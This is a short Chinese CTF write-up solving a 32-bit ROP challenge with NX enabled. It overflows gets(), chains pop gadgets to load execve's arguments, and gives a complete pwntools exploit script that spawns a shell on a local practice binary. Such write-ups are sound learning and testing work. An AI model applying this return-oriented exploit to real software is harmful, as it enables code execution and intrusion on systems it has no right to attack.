[WP]CTFwiki-syscall
1.例行运行并检查程序,32位程序,开启了 NX 保护,这时我们之前写入 shellcode 执行就会失效
2.依然是通过 gets() 来覆盖返回值,当然尽管找到了 /bin/sh 字符串,我们并没有 system("/bin/sh") 来开启shell,这时我们需要调用系统中的函数,(ps:一个系统函数会有一个对应的系统调用号,这个我们可以在 Linux Syscall Reference 查询到)。
3.这里我们调用 execve() 来实现开启 shell。向 EAX 传入0x0b,EBX 中传入"/bin/sh", ECX 和 EDX 传入 0。
4.确定覆盖长度
5.寻找 gadget 来向寄存器传参,以此来构造 exp。当然 gadget 的利用并不唯一,能达到效果即可
6.这里我选用了如下几个 gadget
0x080bb196 : pop eax ; ret 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806eb6a : pop edx ; ret
7.构造 EXP
#!/usr/bin/env python from pwn import * p = process('./rop') #EBP: 0xffffd178 --> 0x8049630 (<__libc_csu_fini>: push ebx) #ESP: 0xffffd0f0 --> 0xffffd10c --> 0x3 bin_sh = 0x080BE408 call_gets = 0x08048E96 pop_eax = 0x080bb196 pop_ecx_ebx = 0x0806eb91 pop_edx = 0x0806eb6a int_0x80 = 0x08049421 payload = 'a'* (0x6c+4) payload += p32(pop_eax) payload += p32(0xb) payload += p32(pop_ecx_ebx) payload += p32(0) payload += p32(bin_sh) payload += p32(pop_edx) payload += p32(0) payload += p32(int_0x80) p.recvuntil('?') p.sendline(payload) p.interactive()